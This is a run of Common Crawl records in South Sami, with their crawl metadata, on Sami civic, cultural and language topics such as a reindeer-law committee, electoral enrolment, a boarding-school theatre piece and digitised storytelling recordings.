laakemoenehtsem tseegkedh, men vååjnoe goh LBD annje sæjhta laakem jarkelidh aktene juakeme prosessesne. Dan åvteste mijjieh daelie dam ellen voestes saemien laakemoenehtsem nammoehtibie, Muotka jeahta jïh altese mïelen mietie tuhtjie eevre reaktoe daate dorjesåvva båatsoesuerkesne.\n– Båatsoe akte tjïelke aalkoealmetjejieleme, jïh saemien perspektijvh jïh vuajnoeh tjuerieh gorresovvedh juktie dåarjoehtimmiem åadtjodh saemijste jïh båatsoste.\nMoenehtsisnie, mij edtja dejnie ållesth gïehtjedimmine båatsoelaakeste barkedh, daah almetjh:\nRagnhild Marit Sara - moenehtsen åvtehke, juriste\nKirsti Strøm Bull, professovre, dr.juris\nSamuel John N. Anti, båatsoesaemie\nNils P Joma, båatsoesaemie\nEllen Inga Turi, dr.philos dotkeme- jïh ööhpehtimmiedirektööre, dr. philos.\nNils Mikkelsen Utsi, advokaate, saemiedigkietjirkije jïh båatsoesaemie\nAnna Ravna Gaup, båatsoesaemie\nMattias Åhren, professovre, dr. juris\nEllen Sara Sparrok, båatsoesaemie\n– Mijjieh aaj garmeres juktie aktem væjkeles saemien juristem mij lea nyjsenæjja, åvtehkinie utnebe laakemoenehtsisnie; gidtjh Ragnhild Marit Sara, saemiedigkiepresidente Keskitalo jïh NBR:n åvtehke Ellinor Marita Jåma jiehtieh.\nGålkoen 29.b. Saemiedigkie sæjhta akten faageseminaarese Altesne bööredidh gusnie teema sjædta ovmessie gyhtjelassh goh jïjtjenænnoestimmie, jïh daaletje haestemh ektiedamme båatsoelaakese.\n– Mijjieh bååstede båetebe bööredæmman seminaarese, men desnie moenehtsen åvtehke sæjhta aktem åenehks aalkoehåalemem utnedh. Daate akte stoerre jïh vijries barkoe sjædta, men jis båatsoen ïedtjh edtjieh gorresovvedh båetijen aejkien laakejarkelimmine, tjoerebe daam prosessen tjïrrh, Muotka minngemosth jeahta mij lissehte Saemiedigkie sæjhta tjaelemesijjine årrodh mo","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/nearadio.no\/samisk\/nyheter\/det-forste-samiske-reindriftslovutvalget-oppnevnt\/19.20449","date":"2018-11-14T17:16:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742253.21\/warc\/CC-MAIN-20181114170648-20181114192648-00278.warc.gz","language":"sma","language_score":0.9553655386,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9553655385971069, \"sme_Latn_score\": 0.03759811818599701}","num_words":784,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ålkoelaanteste tjaatsestidh\nGaajhkesh gie lea ålkoelaantesne tjaatsestimmietïjjesne maahta ålkoelaanteåejvieladtjine tjaatsestidh mah tjaatsestimmiedåastovem öörnieh.\nVeeljemeåejvieladtje muana, raeriestimmien mænngan Ålkoerïjhkedepartementeste, mah sveerjen ålkoelaanteåejvieladtjh mah edtjieh tjaatsestimmiedåastovem utnedh. Tjaatsestimmie aalka 24 biejjieh veeljemebiejjien åvteli jïh naan sijjesne barre åenehks tïjjem jåhta. Tjaatsestimmie tjuara orrestidh veeljemen åvteli juktie dah tjaatsestimmieh edtjieh Veeljemeåejvieladtjese båateme seejnemes biejjie veeljemebiejjien åvteli. Gaajhkh tjaatsestimmieh ålkoelaanteåejvieladtjijste Veeljemeåejvieladtjese seedtieh mij dejtie veesmedahta jïh dejtie vïjrebe seedtie respektijveles veeljememoenehtsasse.\nPrievine tjaatsestidh ålkoelaanteste\nDah mah åadtjoeh tjaatsestidh jïh ålkoelaantesne maahta prievine tjaatsestidh mij akt laanteste gusnie årroeminie. Mearoemaennie skïhpine ålkoelaantine maehtieh aaj prievine tjaatsestidh. Prievietjaatsestimmiem åådtje ålkoelaanteste seedtedh aaremosth 45 biejjieh veeljemebiejjien åvteli. Ij åadtjoeh prievietjaatsestimmiem Sveerjeste seedtedh.\nSjïere materijaalh daarpesje jis edtja prievine tjaatsestidh. Materijaalide maahta Veeljemeåejvieladtjeste jallh ålkoelaanteåejvieladtjeste dængkodh.\nPrievietjaatsestimmiem edtja ålkoelaanteste seedtedh jïh edtja daase båetedh åvteli aalka tjaatsestimmide ryöknedh.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/alkoelaanteste-tjaatsestidh.html","date":"2018-11-20T06:03:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039746227.72\/warc\/CC-MAIN-20181120035814-20181120061814-00124.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":128,"character_repetition_ratio":0.159,"word_repetition_ratio":0.0,"special_characters_ratio":0.105,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïjsebïeljelimmie gaskeviermien baaktoe\nFor å melde deg inn via internett må du logge inn med ID-portalen\/MinID. Juktie maehtedh jïjtjemdh sïjse tjaeledh gaskeviermien baaktoe tjoerh tjaangedh ID-portaaline\/MinID\nGaajhkesh mah bæjhkoehtieh dah jïjtjemse utnieh goh saemie, jïh\na) saemien hïejmegïeline utnieh, jallh\nb) utnieh jallh åtneme eejhtegem, aahka aajjam jallh maadteraahka maadteraajjam saemiengïeline goh hïejmegïele, jallh\nc) leah maana aktede almetjistie mij almetjelåhkosne tjåådtje jallh tjåådtjeme maahta krïevedh satne veeljemelåhkoen sïjse tjaalasåvva.\nGaajhkh saemieh Nöörjeste mah bijjelen 18 jaepieh jallh 18 jaepieh illieh veeljemejaepien, reaktam utnieh jïjtjemse veeljemelåhkoen sïjse tjaeledh. Saemieh mah lea staateårrojh jeatjah noerhtelaantine maehtieh veeljemelåhkoen sïjse tjaeledh dastegh dah ruffien 30. b. veeljemejaepien leah tjaalasovveme almetjeregisterisnie goh årrojh Nöörjesne.\nSaemieh mah eah leah aktede noerhtelaanteste, maehtieh jïjtjemse veeljemelåhkoen sïjse tjaeledh dastegh dah leah almetjeregisterisnie tjåådtjeme goh årrojh Nöörjesne doh golme minngemes jaepieh veeljemebiejjien åvtelen.\nSïjsebïeljelimie paehperegoeren baaktoe\n- Veedtjh pdf-goerem vuelielisnie, dievhtieh dam jïh seedth dam deavhteme goerem dov vuelietjaaleginie Saemiedægkan.\nSistiebïeljelimmie Saemiedigkien veeljemelåhkoste\nJuktie jïjtjemdh Saemiedigkien veeljemelåhkoen sistie bïeljelidh, tjoerh e-påastem jallh prieviem seedtedh Saemiedægkan. Datne tjoerh dovne nommem jïh persovnenommerem tjaeledh sistiebïeljelimmesne.","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.saemiedigkie.no\/Veeljeme\/Sijsebieljelimmie-veeljemelaahkose","date":"2018-11-21T03:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039747024.85\/warc\/CC-MAIN-20181121032129-20181121054129-00392.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":171,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagealmetjh mah maahtoem saemien gïelesne jollebe daltesisnie utnieh, leah daerpies jis edtja gorredidh siebriedahke dam daerpies saemien maahtoem åtna. Akten baelien gosse jollebe saemien maahtoe læsseneminie, dle vihkeles vuartasjidh mejtie studijepoengedorjemasse saemien gïelesne, mij våaromem åtna illesovveme eksamenh saemiengïelesne jollebe ööhpehtimmie- institusjovnine, læsseneminie jallh vaaneneminie.\nStudijeprogrammh saemien gïelesne jollebe daltesisnie sijhtieh meatan årrodh statusem nænnoestehtedh dejtie saemien gïelide, dovne saemien siebrie- dahkesne, men aaj stoerresiebriedahkesne. Tjaalege evtiedimmiem jollebe ööhpehtimmesne saemien gïelesne vuartesje dej minngemes vïjhte jaepiej, dovne åarjelsaemien, julevsaemien jïh noerhtesaemien gïelese. Daan boelhken eksamenh saemien gïelesne leah illesovveme Saemien jolleskuvlesne, Tromsøn universiteetesne, Nordlaanten universiteetesne jïh Noerhte-Trööndelagen jolleskuvlesne.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/samilogutmuitalit.no\/se\/node\/3970","date":"2018-11-18T10:37:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039744348.50\/warc\/CC-MAIN-20181118093845-20181118115845-00208.warc.gz","language":"sma","language_score":0.9999945164,"language_script":"Latn","minhash_cluster_size":65,"top_langs":"{\"sma_Latn_score\": 0.9999945163726807}","num_words":98,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sami-Jienat lea saemien laavloe-dåehkie abpe Saepmeste. Daate laavloe-dåehkie pråvhka njeeljh jaepesne gaavnesjidh jih laavlestalledh jih mænngan konsertem utnedh. Daan prosjeekten nomme Joejke Saepmeste, gusnie edtjieh ov-messie saemien gïeline joejkedh jih laavlodh.\nVoestes aejkien åarjelsaemien dajvese.\nSami Jienaten åejvie Heidi Salmi, geerjene daelie åadtjodh åarjelsaemien dajvese jih Snåasese båetedh.\n– Mijjieh aavoedibie Snåasese båetedh. Laahkaskim jih Jonhild Jåmam åådtje goh mentore mij edtja mijjese buerkiestidh jih åarjelsaemien joejkevuekiem lieredh, Salmi jehta.\nSami-Jienat, provgrammem dorjeme gusnie åadtjoeh laavloeh jih vuelieh dah ov-messie dajvijste govledh.\n– Mijjieh libie Nøørjesne, noerhtesaemien dajvesne, Såevmijesne, skoltesaemien, Sveerjesne jih luvlesaemien dajvesne orreme jih daelie dellie edtjebe Snåasese jih laavlestalledh, Salmi jeahta.\nOhtseminie laavlojes åarjelsaemieh.\nHeidi Salmi eevtjieh gaajhkide båetedh jih laavlestalledh.\n- Mijjieh edtjebe bearjeds-iehkeden ts. 19.00 Snåasesne gaavnedidh jih laavloejahtjedh. Dellie luste orreme jis jienebh laavlojes åarjelsaemieh båetieh jih sïjhtieh mijjiene laavlodh, Salmi jeahta.\nLaaveds-iehkeden ruffien 13.b.ts.19.00 maehtede Sami-Jienaten konsertem Snåasesne govledh.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.nrk.no\/sapmi\/sami-jienat-saejhta-aarjelsaemien-joejkevuekiem-lieredh-1.12404037","date":"2018-12-19T08:37:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376831715.98\/warc\/CC-MAIN-20181219065932-20181219091932-00488.warc.gz","language":"sma","language_score":0.9999872446,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999872446060181}","num_words":142,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse barkoelaavenjassem åadtjoeh sïjhth bahtsemem åadtjodh portaalese Selvbetjening for mottaker av honorar.\nSaemiedigkie bïevnesh daarpesje mij lea buerkiestamme goeresne \"skjema for oppdragstaker\" juktie baahtsemem tseegkedh portaalese dastegh barkoelatjkoe ij leah tjaalasovveme. Goere jallh barkoelatjkoe seedtesåvva dov gaskesadtijasse Saemiedigkesne jallh Ekonomijeseksjovnese.\nEkonomijeseksjovne sæjhta dov bïevnesi mietie barkoelatjkosne jallh goeresne skjema for oppdragstaker baahtsemem vedtedh portaalese, jïh bievnedh gosse baahtsemem åådtjeme.\nSaemiedægkan galhkeme jïh baahtseme lea tseegkesovveme maahtah refusjovnem krïevedh vuelkememaaksojej \/jeatjah maaksoej åvteste jih dov honoraarekrïevenassh daesnie registreradidh.\nDatne sïjse tjaangh ID-porten tjïrrh (MinID, BankID, Buypass ID, jallh Commfides e-ID).\nBïhkedimmie jïh utnijedåarjoe\nVielie utnijebïhkedimmieh, aaj videovebïhkedimmieh gaavnh daesnie.\nJis dov lea gyhtjelassh teknihken bïjre gaskesadth DFØs Kundesenter, tell. 406 34 021\nJis dov leah gythjelassh barkoelaavenjassen bïjre jallh reereles tsiehkiej bïjre dan bïjre, gaskesadth dov gaskesadtijem jallh Ekonomijeseksjovnem Saemiedigkesne: Tellefovne: 784 74 000\nDåarjoje nedtelohkijh\nNuhtjh Internet Explorer 11. Vielie nedtelohkiji bïjre.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Vuelkemereeknege-jih-honoraarekrievenassh-Saemiedaegkan","date":"2018-12-10T23:57:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823516.50\/warc\/CC-MAIN-20181210233803-20181211015303-00620.warc.gz","language":"sma","language_score":0.9999976158,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.999997615814209}","num_words":135,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepie lij 1995, manne lim govhte jih edtjim internaatese juhtedh…\nÅret var 1995, jeg var 6 år og skulle flytte på internat\nAkte noere saemien nyjsenæjja voejhkele sov byjjenimmine åarjelsaemien internaatesne måahtadidh jaepieh 1990 Nöörjesne.\nGellie boelhkine åarjelsaemien maanah hïejmeste seedtesovveme edtjieh internaatesne årrodh skuvlesne vaedtsedh. Dïhte lij akte voerkes boelhke laadtajdahtemepolitihkeste. Mænngan saemiej skuvlh vierhtine sjïdtin edtjin saemien kultuvrem gorredidh.\nEejhtegh sijjen maanide gååhkese hïejmeste seedtin juktie saemien gïelem jïh kultuvrem lïeredh, jïh idtjin dejtie vihth råakh eannan skuvle-eejehtimmie.\nTjidtjie lea akte vuesiehtimmie daej maanaj jïh noeri bïjre. Dïhte lea vïenetji jïh györemen bïjre. Vaeriej jïh giesielaanten tjoevkesen bïjre. Akten gïelen bïjre mij gaarveneminie. Jïh 6.-n jaepien båeries nïejten bïjre gie tjidtjebem ohtsele, sov \"Tjidtjie\".\nVuesiehtimmie lea gihtjedimmiej mietie åarjelsaemiejgujmie dorjeme, gïeh jïjtjh internaatesne byjjenamme.\nAalka vuesiehtidh snjaltjen 29.-n biejjien dunnie Olavsfestdagene 2017.\nVuesiehtimmie lea daejstie dåarjelamme: Nöörjen Kultuvreraerie, Saemiedigkie, Åarjel-Tröndelaagen Fylhkentjïelte, Noerhte-Trööndelagen Fylhkentjïelte, Noerhtelaanten Fylhkentjïelte, Tråanten tjïelte, Fond for lyd og bilde, Spenn.no, DansiT, Tråante, Olavsfestdagene\nBÏHKEDÆJJA JIH MAANUSE ANE AASS – SVÏHTJE MIA HABIB – HAMMOEDÆJJA GJERMUND ANDRESEN – TJEAHPOERAERIJE RASMUS ROHDE – TJOEVKE EIRIK BRENNE TORSETHAUGEN – MUSIHKEN RAERESTÆJJA FRODE FJELLHEIM – DORJEJE VIBEKE HAY WOLD – JARKOESTÆJJA JIH RAERIESTÆJJA MARIA KRÅIK STENFJELL DORJEHTÆJJA MARJA LISA THOMASSON – JOEJHKERE CHARLOTTA KAPPFJELL – TSIEMIJE TOR HAUGERUD – DAANHTSERE ERLEND AUDESTAD DANIELSEN\nEn ung samisk kvinne prøver å forsone seg med oppveksten sin på sørsamisk internat på 1990- tallet i Norge.\nSørsamiske barn har i mange generasjoner blitt sendt hjemmefra for å bo på internat og gå på skole. Det var en bevisst del av fornorskingspolitikken, senere ble det et middel i den samiske kulturens gjenreisning. Foreldre sendte barna sine milevis av sted for at de skulle lære samisk språk og kultur, og så dem ofte ikke igjen før i feriene.\nTjidtjie handler om disse barna og ungdommene. Det handler om vennskap og forelskelse. Om vidda og lyset på sommerfjellet. Om et språk som er i ferd med å dø ut. Og det handler om en 6-årig jente som savner mammaen sin, sin \"Tjidtjie\".\nForestillingen er basert på intervjuer med sørsamer som selv har vokst opp på internat.\nUrpremiere under Olavsfestdagene 2017\nForestillingen er støttet av: Norsk Kulturråd, Sametinget, Sør-Trøndelag Fylkeskommune,\nNord-Trøndelag fylkeskommune, Nordland Fylkeskommune, Trondheim kommune, Fond for lyd og bilde, Spenn.no, DansiT, Tråante og Olavsfestdagene.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/rohde-aass.no\/tjidtjie\/","date":"2018-12-10T04:34:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823303.28\/warc\/CC-MAIN-20181210034333-20181210055833-00186.warc.gz","language":"sma","language_score":0.9655938148,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"sma_Latn_score\": 0.9655938148498535, \"sme_Latn_score\": 0.025120368227362633}","num_words":362,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":0.985,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Trööndelaagen fylhkentjïelte reeremedïedtem åtna saemien gïeli åvteste. Saemiedigkie fïerhten jaepien dåarjoem vadta tjïeltide jïh fylhkentjïeltide reeremedïedtine.\nSaemiedigkien ulmie guektiengïeledåarjojne:\n«Guektiengïeledåarjoen ulmie saemien gïeli årrojh reeremedajvesne maehtieh saemiestidh\ngaskesisnie byögkeles åejvieladtjigujmie.\"\nFylhkentjïelte edtja råajvarimmieh dåarjelidh mah saemiengïelem evtiedieh jïh nænnoestieh fylhkentjïelten dïedtesuerkine. Jaepien 2018 dåarjoe lea 675 000 kråvnah gïele jïh kultuvre-evtiedimmien råajvarimmide.\nSeedth dåarjoe-ohtsemem ohtseme-mierien sisnie Trööndelaagen fylhkentjïeltese, firstname.lastname@example.org Goeven 10.b. 2018 åvtelen. Tjaelieh prosjeekten\/råajvarimmien buerkiestimmiem, råajvarimmie-soejkesjem, budsjehtem jïh finansijeereme-soejkesjem. Disponeereme vierhtieh maahta jaepien 2019 nuhtjedh.\nJis gyhtjelassh, gihtjh: Knut Wik, Seniorraeriestæjja Kåanste jïh kultuvre, telefovne 91510755, email@example.com\nTilskudd til språk og kulturfremmende prosjekter\nTrøndelag fylkeskommune har forvaltningsansvar for samisk språk. Sametinget gir årlig tilskudd til kommuner og fylkeskommuner med forvaltningsansvar. Sametinget uttrykker følgende mål for tospråklighetstilskuddet:\n«Målet med tospråklighetstilskuddet er at innbyggerne i forvaltningsområdet for samisk språk aktivt kan bruke samisk i kommunikasjon med offentlige instanser.»\nFylkeskommunen skal bidra til tiltak som utvikler og styrker samisk språk innen fylkeskommunens ansvarsområder. I 2018 er det satt av 675 000 kroner i tilskudd til språk og kulturfremmende tiltak.\nSøknad om tilskudd innenfor den oppgitte rammen sendes Trøndelag fylkeskommune, firstname.lastname@example.org innen 10.desember, 2018. Søknad må inneholde beskrivelse av prosjektet\/tiltaket, tiltaksplan, budsjett og finansiseringsplan. Disponert beløp kan også benyttes i 2019.\nSpørsmål rettes til: Knut Wik, Seniorrådgiver Kunst og kultur, telefon 91510755, email@example.com","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.trondelagfylke.no\/vare-tjenester\/kultur\/kulturtilskudd-priser-og-stipend\/tilskudd-til-sprak-og-kulturfremmende-prosjekter\/","date":"2018-12-13T10:49:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824675.15\/warc\/CC-MAIN-20181213101934-20181213123434-00476.warc.gz","language":"sma","language_score":0.7732323408,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.7732323408126831, \"sme_Latn_score\": 0.17103895545005798, \"nob_Latn_score\": 0.04944507032632828}","num_words":198,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.834,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reerenasse daam orre tjïelten jorkesem buakteme guktie ussjedamme jijnjh tjïelth aktene stoerre tjïeltese ektiedidh. Raarvihken tjïelte mubpie åarjelsaemien guektiengïelen reereme tjïelte sjidti.\nSaemien reereme tjïelte maahta gaarvanidh.\nRaarvihken tjïelten åejvie Arnt Mickelsen tjoeperde saemien aamhtsi bijre jis tjïelte stuerebe sjædta.\n– Daate tjoepere sjædta jis dihte tjïelten reereme dubpielisnie. Vaenebe saemien aamhtsi bijre daejrieh. Vaenebe saemieh stoerre tjïelesne årroeminie. Eah saemma laakan dah saemien aamhtsi bijre pryjjedh, Mickelsene jeahta.\nSaemien reereme tjïelten barkoe.\nFylhkeålman tjïelte direktøøre Hans Brattås, Nrk Trøøndelaagese jeahta, dah saemien reereme tjïelteh tjuerieh jijtje daejtie saemien aamhtside vaarjelidh. Maam daan bijre jeahtah?\n– Dihte lea dihte stoerre gyhtjelasse! Reereme dåajvoehtisteme, edtjieh sjiere øørnegh buektedh. Guarkebe daam dihte geerve stoerre tjïeltesne sjædta, Mickelsene jeahta.\nNoerhte Trøøndelaagen saemien siebrie sæjhta digkiedidh.\nDah tjïelth, edtjieh daelie tjïelkestidh magkeres tjïelte gujmie sijhtieh aktanadtedh. Noerhte trøøndelaagen saemien saervien åvtehke Grethe Dunfjeld bælla, daate stoerre håajpeme sjædta.\n– Gåessie stoerre tjïelte sjædta, dellie tjoerebe vihth aalkoeraajeste samien jielemen vuekien bijre bïhkedidh. Håajpeme sjædta jih mijjien reaktojde vaarjelidh, Dunfjelde jeahta.\nNoerhte Trøøndelaagen saemien siebrie tjåanghkose bøørie njoektjen 7.b. Snåasesne, gusnie edtjieh tjielten jorkesen bijre raarastalledh jih digkiedidh guktie daate guektien gïelen reereme dajve daan stoerre tjïeltesne sjædta.","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.nrk.no\/sapmi\/dihte-guektiengielen-reereme-tjielte-maahta-stoerre-tjieltesne-gaatoelidh-1.12240796","date":"2018-12-13T00:58:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824180.12\/warc\/CC-MAIN-20181212225044-20181213010544-00434.warc.gz","language":"sma","language_score":0.9999321699,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999321699142456}","num_words":190,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nDatne maahtah vaarjelimmiem jïh dåarjoem åadtjoeh, viehkiem jijtse fassemasse jallh boelhktje årromesæjjan. Sosiaaletjeanadimmie maahta aaj viehkiem årrodh gosse såjhtoem, polijsem jallh jeatjah reeremem\/åårgansasjovnem bieljelde.\nSosiaaletjeanadimmie ektesne barkedh jeenjebh reeremijgujmie jïh åårganisasjovnijgujmie åvtelhbodti barkedh, dåastoem barkedh jïh njåvtasovvemem vaenede.\nSosiaaletjeanadimmie aaj almah dåårje gieh njuvtieh, guktie maehtieh dejnie orrijidh.\nSidan har granskats 2009-09-11\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/njavtasovveme.4.2aeb902411d30c9e460800061578.html","date":"2018-12-12T19:58:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824115.18\/warc\/CC-MAIN-20181212181507-20181212203007-00350.warc.gz","language":"sma","language_score":0.9983003736,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9983003735542297}","num_words":91,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Scenetjeahpoe lea akte dejstie maadthgierkijste nasjovne- jïh identiteetebigkemisnie gaajhki veartenen åålmegi jïh nasjovni luvnie. Daesnie leam vuesiehtimmieh jïh viertiestimmieh vaalteme nöörjen nasjovne- jïh identiteetebigkemistie akten nöörjen postkolonialisteles tïjjen, viertiestamme dejnie saemien tsiehkine 1970-låhkoen raejeste Saepmien nöörjen bielesne. Daesnie ajve doh saemien teatereinstitusjovnh mah leah ihkuve saemiedigkien budsjedtesne mah leah meatan. Dej tsiehkie, ekonomije, jaksoemierie jïh våarome leah digkiedamme statistihken tjïrrh teaterijstie jïh Saemiedigkien dåarjoej tjïrrh. Minngemosth såemies raeriestimmieh båetieh vuajnojde jïh dahkojde saemien scenetjeahpoen båetijen aejkien bïjre, mejtie leam tjuvtjiedamme nasjonaalestaatese Nöörje jïh Saemiedægkan Nöörjesne.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/samilogutmuitalit.no\/en\/node\/4053","date":"2018-12-13T15:54:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376824912.16\/warc\/CC-MAIN-20181213145807-20181213171307-00018.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":115,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":85,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Paul Vesterfjell – Viesterviellien Pöövle\nDaah baantedimmieh Viesterviellien Pöövleste leah akte bielie tjoejematerijelleste saemien dajvijste mah sïjse tjöönghkesovvin Noerhtelaanti saemien instituhteste (NSI) 1980-låhkoen aalkoelisnie. Lajla Mattsson Magga baantedimmide darjoeji 1982 jïh dah leah åarjelsaemien.\nMænngan goh Noerhtelaanti saemien instituhte akte bielie sjïdti Sámi allaskuvleste\/ Saemien jïlleskuvle, dïhte sïjse tjöönghkeme tjoejematerijelle Saemien våarhkose sertesovvi. Jaepien 2016 Saemien våarhkoe lea måedtiem daehtie materijelleste daan beajjetje digitaale hammose jeatjahtahteme, gaskem jeatjah daejtie baantedimmide Viesterviellien Pöövleste. DigForsk AS lea digitaliseradimmiem jïh tjoejebueriedimmiem baantedimmijste dorjeme. Lill Westerfjell Kalstad dïedtem åtneme baantedimmide veeljedh mejtie daesnie åehpiedehtebe, jïh dïhte aaj web-teekstide dorjeme.\nBaantedimmiej bïjre\nDennie voestes baantedimmesne akte soptsese maam Pöövle lea soptsestamme ovmessie ektiedimmine, Dah golme åerpenh. Daate versjovne baanten sïjse spealadin ovrehte seamma tïjjen goh soptsese bæjhkoehtamme sjïdti Saemien Sijten voestes jaepiegærjesne, Åarjel-saemieh\/Samer i sør 1982\/83. Akte versjovne soptsesistie aaj Saemien Sijten våarhkosne Digitalt museumisnie, vuartesjh svaalhtesem vuelielisnie. Daam bantedimmiem Åsta Vangberg darjoeji 1980. Gïelem Nastedh aktem sjïehtesjamme versjovnem soptsesistie bæjhkoehtamme goh maanagærja jaepien 2013.\nPöövle lij akte væjkele soptsestæjja aerpievuekien daajroen bïjre, jïh dejnie baantedimmine sov daajroem mijjine juaka. Gaskem jeatjah veelelaakan buerkeste guktie edtja dejtie bööremes gaamegasside veeljedh gosse edtja novhtehkh gåarodh.\nDijjieh maehtede daejtie teemide goltelidh:\nMijjieh voerkelibie mijjieh ajve tjoejem bueriedamme jïh ibie maam baantedimmine jeatjahtahteme.\n- Dah golme åerpenh\n- Moeretjoehpemen bïjre\n- Guktie bïenje mubpiejgujmie soptseste\n- Guktie edtja veeljedh dam skoerhtjem mij maahta hijven ryöjnesjimmiebïenjine sjïdtedh\n- Mij baarhkojde bööremes sjeahta gosse edtja skåerriem båårhkesjidh\n- Gaamesh njelledh jïh spaanestidh\nPaul Vesterfjell - Viesterviellien Pöövle (1921 – 2000) reakasovvi Viknesne, gusnie fuelhkie lij krievvine don daelvien. Dïhte Bindalesne byjjeni jïh Nååmesjevuaman juhti gosse geerve almetjinie sjïdteme. Dïhte bovtsigujmie gïehteli stoerre bieline sov jieliedistie, men aaj skåajjesne jïh ruevtieraajrosne barki. Pöövle lij akte joekoen tjiehpies soptsestæjja, jïh joekoen lyjhki maanide soptsestidh. Akten boelhken lij aaj meatan Åarjelhsaemien teaterisnie.\nStiftelsen Saemien Sijte lea jeatjah baantedimmieh dorjeme Viesterviellien Pöövline jïh dejtie åehpiedahteme sijjesne 